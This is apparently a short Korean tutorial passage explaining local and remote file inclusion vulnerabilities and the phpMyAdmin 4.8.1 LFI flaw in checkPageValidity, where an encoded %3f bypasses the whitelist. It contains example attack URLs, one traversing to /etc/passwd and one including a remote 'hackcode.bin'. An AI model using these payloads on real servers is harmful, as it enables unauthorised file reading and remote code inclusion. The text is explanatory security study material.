URL에 파일 경로를 포함하면, 사용자가 웹서버에 있는 파일을 열람할 수 있는 취약점이다.
File Inclusion 취약점을 이용한 공격은 LFI(Local File Inclusion)와 RFI(Remote File Inclusion)로 나뉜다.
http://example.com/index.php?file=../../../../etc/passwd
이전 경로로 이동하는 ../을 이용해 /etc/passwd 파일을 열람하려는 공격이다.
http://example.com/index.php?language=http://test.com/hackcode.bin
phpmyadmin 4.8.1은 LFI 공격에 취약하다.
다음은 LFI 공격 성공 화면이다.
이 취약점은 URL Query String의 유효성을 검증하는 부분에서 발생한다.
index.php 코드를 보면, target 매개 변수를 검증하는 부분이 있다.(Core::checkPageValidity)
target 매개 변수를 검증할 때, core.php의 checkpagevalidity 함수를 이용한다.
core.php 코드를 보면, checkPageValidity 함수에서 유효성 검증을 한다.
url을 decodeing하는 부분에 %3f를 넣으면, %3f가 ?으로 변환되며, ? 앞에 whitelist가 오게 되면 true를 반환한다.
즉, 이 부분에서 필터링이 제대로 되지 않아 LFI 취약점이 발생하는 것이다.
다음은 core.php에 있는 whitelist 목록이다.